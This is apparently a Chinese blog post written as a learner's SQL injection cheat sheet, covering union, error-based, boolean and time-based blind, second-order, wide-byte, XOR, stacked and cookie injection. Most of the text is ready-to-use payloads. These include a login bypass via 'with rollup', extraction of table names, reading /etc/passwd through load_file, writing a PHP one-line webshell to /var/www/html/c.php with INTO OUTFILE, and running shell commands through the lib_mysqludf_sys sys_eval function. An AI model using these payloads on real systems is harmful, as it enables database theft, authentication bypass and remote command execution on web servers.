sql注入详解

目录

GET型注入

判断是否存在注入

注入类型

联合查询注入

报错注入

布尔盲注

时间盲注

二次注入

宽字节注入

异或注入

加解密注入

堆叠注入

with rollup绕过

POST型注入

cookie型注入

文件写入

执行系统命令


GET型注入

判断是否存在注入

如果有sql错误回显:

直接 ?id = '

没有错误回显:

?id=1 and 1=2

?id=1 and 1=1

根据回显页面是否不同查看是否有注入漏洞

如果是字符型:

?id=1' and 1=1--+

?id=1' and 1=2--+

注入类型

注意以下查询都是默认数字类型,若为字符型自己判断闭合符号更改即可

联合查询注入

在用order by 判断几个字段后

判断回显:?id=1 union select 1,2,3

比如3处有回显:?id=1 union select 1,2,database()

注意

如果回显位不在最末尾如:?id=1 union select 1,table_name from information_schema.tables where table_schema=database(),3

当回显位不再最末尾查询表名、列名这些会报错

应该用语句:?id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3

也就是在第二个字段要多加一个select并括起来整个语句

报错注入

?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

条件:

报错函数可用

sql错误信息直接回显到页面

updatexml、extractvalue、floor

布尔盲注

1.?id=1'and length(database())=4--+

判断数据库第一个字符

2.?id=1'and substr(database(),1,1)='s'--+

判断ascall编码值

3.?id’and ascii(substr(database(),1,1))=字符对应数字一个个试--+

就类似于上面语句的原理

通过回显页面的正确与否判断语句的正确性,从而猜解信息

这里可用写脚本来跑

当然理解原理后也可以用sqlmap

条件:sql语句正确和错误时的回显页面有明显的不同

时间盲注

原理和布尔差不多,只不过时间盲注不可以通过页面回显来判断正确性

而是通过是否延时来判断正确性

语句:

判断闭合符:

1.?id=1'and if(1=1,sleep(3),1)--+

判断数据库的长度:

2.?id=1' and if(length(database())=8,sleep(3),1)--+

判断数据库第一个字符:

3.?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+

以此类推一直把所有数据库字符确定下来

判断security数据库的第一个表的第一个字符的ascall码值:

4.?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),1)--+

二次注入

原理:你注册一个用户名为admin'#的账号,服务器把你的特殊字符转义了,所以不能构成恶意代码执行,但是当你的输入数据保存在数据库时却是原样保存,转义字符不会保存,这样当服务器调用数据库数据时,还是调用的admin'#,你去修改密码,这里就会构成恶意代码执行,你的闭合符(这里的单引号),与语句本身闭合符相闭合,后面的被#注释掉了,所以你改的密码就是原先存在的账户(这里的admin)的密码,于是你就有了admin的密码了

宽字节注入

使用一些函数addslashes,mysql_real_escape_string,mysql_escape_string对单引号等注入相关字符进行转义

但是数据库又使用了GBK(宽字符集)

mysql使用GBK时会认为两个字符为一个汉字(ascii>128)

当单引号(%27)被转义加 ‘\’ 变为(%5c%27)

在%5c前加%df,则变为%df%5c%27

也就是注入时payload=1%df ‘

则转义的 ’\‘会被与%df一起(%df%5c)被认为是汉字,则单引号可用于闭合。

异或注入

原理:

1^1 = 0^0 =0

1^0=1

当字符串和数字进行异或比较时字符串会被转换为0,如果字符串本身有数字则转换为本身含有的数字

判断数据库长度

你'^(length(database()))==

判断union是否被过滤

你'^(length('union')>0)

加解密注入

服务器源码对输入数据进行解密,则需要对payload进行加密再传值

堆叠注入

用 ;(分号用于末尾表示语句结束)隔开,同时执行多条语句

重命名表:RENAME table current_table_name TO new_table_name

修改列名:ALTER TABLE ·tablename· CHANGE ·current_column_name· ·new_name· VARCHAR()

联合查询只能执行查询语句,堆叠注入可以执行任意语句

with rollup绕过

原理:当用group by password with rollup时,password列最后一行会是NULL填充,则password什么也不输入,只需绕过用户名则可以登录成功

POST型注入

一般是登录框的sql注入

原理与get型一样,只是是post提交

在修改密码处,更新密码,会使用到update语句

在商城系统中,订单的添加,删除,可能会使用到insertdelete语句

cookie型注入

如果服务端验证cookie,会带入数据库查询

则sql注入点也可用在cookie字段

文件写入

system_user():数据库的系统用户

current_user():当前登录数据库的用户

如果当前数据库的用户有写入权限

那么可用把查询结果写入网站目录,再通过网站下载(没有回显时使用)

?id = 1 union all select tables_name,table_type,engine from information_schema.tables where table_schema=database() order by table_name DESC into out file '网站路径/out.txt'

在网站访问out.txt就有结果了

也可以用load_file读取结果

?id=1 union all select 1,2,load_file('网站路径/out.txt'),4

如果用load_file读取系统文件如:/etc/passwd  是需要有相应的读取权限的

也可以写一句话木马到服务器

    ?id=1 UNION SELECT "<? system($_REQUEST['cmd']); ? >",2,3,4 INTO OUTFILE
    "/var/www/html/c.php"
​

注意

into outfile:写入文件

into dumpfile:写入文件(二进制)

执行系统命令

sql注入可以写入webshell来执行命令

也可以直接执行命令

lib_mysqludf_sys里面的sys_eval函数

select sys_eval('ls -a');

需要上传lib_mysqludf_sys.so到数据库能访问的路径

常见数据库都有自定义函数的功能,都可用了解一下

目前还在学习这一块的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值